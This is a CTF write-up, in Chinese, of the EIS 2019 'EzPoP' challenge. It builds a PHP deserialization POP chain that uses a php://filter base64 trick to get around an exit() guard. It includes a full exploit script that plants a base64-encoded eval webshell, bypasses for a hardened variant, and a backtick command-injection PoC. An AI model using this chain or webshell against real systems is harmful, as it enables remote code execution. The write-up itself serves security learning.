EIS 2019

EzPoP

/?src=1 给了源码

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return $filename;
        }

        return null;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

很显然又是要构造pop链

切入点是class A的destruct

class A{
    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

可以看到这部分最终调用了一个set

显然要利用到class Bset

class B{
    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        //可以看到这里有脚本拼接,但是莫得用,因为最后调用了一个exit()
        $result = file_put_contents($filename, $data);

        if ($result) {
            return $filename;
        }

        return null;
    }
}

查资料发现这里有个绕过exit的方法

这里经@张师傅提醒知道有道原题叫死亡退出,并且file_put_contents是支持php伪协议的,所以我们可以通过php://filter/write=convert.base64-decode/来将

$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents(\$filename, \$data);

这段代码中的$data全部用base64解码转化过后再写入文件中,其中前面拼接部分会被强制解码,从而变成一堆乱码。而我们写入的shell(base64编码过的)会解码成正常的木马文件。 这里唯一需要注意的是长度问题,我们需要shell部分<?php phpinfo()?>前面加起来的字节数为4的倍数(base64解码时不影响shell部分)。 所以$b->options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/';已经可以确定了。 ———————————————— 版权声明:本文为CSDN博主「sec_pz」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/zhangpen130/article/details/104102746

然后就是看怎么吧base64后的shell塞到$data里面了,

$data = $this->serialize($value);首先是这个,只要让serialzie所指的函数不改变$value就可,这里选择strval

进一步跟踪,可以发现$data由contents里来

class A{
...
    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;//我们希望返回一段包含shellbase64编码的contents
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }
    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }
...
}

解释一下用到的几个函数

array_intersect_key()

该函数比较两个(或更多个)数组的键名,并返回一个交集数组,该数组包括了所有在被比较的数组(array1)中,同时也在任何其他参数数组(array2 或 array3 等等)中的键名。

array_flip

反转数组中的键名和对应关联的键值:

关键在于这个cache构造也即cleanContents函数中的contents

foreach ($contents as $path => $object) {
    if (is_array($object)) {
        $contents[$path] = array_intersect_key($object, $cachedProperties);
    }
}

根据之前的$cachedProperties

这里直接构造

$object=["path" =>"<base64encode(shell)>"]

其中path也可以改成$cachedProperties中的其他值

但是因为后面生成的json是带格式的,所以还要fuzz一下$path$complete的长度

Exp:

<?php

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function construct($store, $key , $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }
}

class B {
    public $options;

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }


    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null) {

        $expire = $this->getExpireTime($expire);

        $data = $this->serialize($value);

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        echo base64_decode($data);

        return null;
    }
}


$a = new A;
$a->autosave=false;

$b=new B;
$b->options['expire']=233;
$b->options['data_compress']=false;
$b->options['prefix']="php://filter/write=convert.base64-decode/resource=";
$b->options['serialize']="strval";

$a->construct($b,"233.php");


$object=array("path"=>"PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2VraSddKTs/Pg"); //注意如果base64后存在=要取除,因为是base编码中间的一部分
$a->cache=array("111"=>$object);
$a->complete="2";

//echo $a->save();检验是否能解码成功

echo urlencode(serialize($a));

有个加强版(2020红包题)是修改了

public function getCacheKey(string $name): string {
    // 使缓存文件名随机
    $cache_filename = $this->options['prefix'] . uniqid() . $name;
    if(substr($cache_filename, -strlen('.php')) === '.php') {
        die('?');
    }
    return $cache_filename;
}

.uniqid()前缀可以可以通过增加/../前缀来绕过

后缀不能是.php可以用/.等来绕过

当然因为前缀可以绕过,还有其他方法比如user.ini .htaccess等写图片马

还有利用反引号优先级大于引号的方法,拼接绕过

json的一个poc

system('{"1":"`whoami`"}');

参见:https://www.anquanke.com/post/id/194036

© Eki's CTF-notes 2019-2020 CC-by-nc-sa 4.0。 all right reserved,powered by Gitbook本网站最后修订于: 2021-03-09 16:35:16

results matching ""

    No results matching ""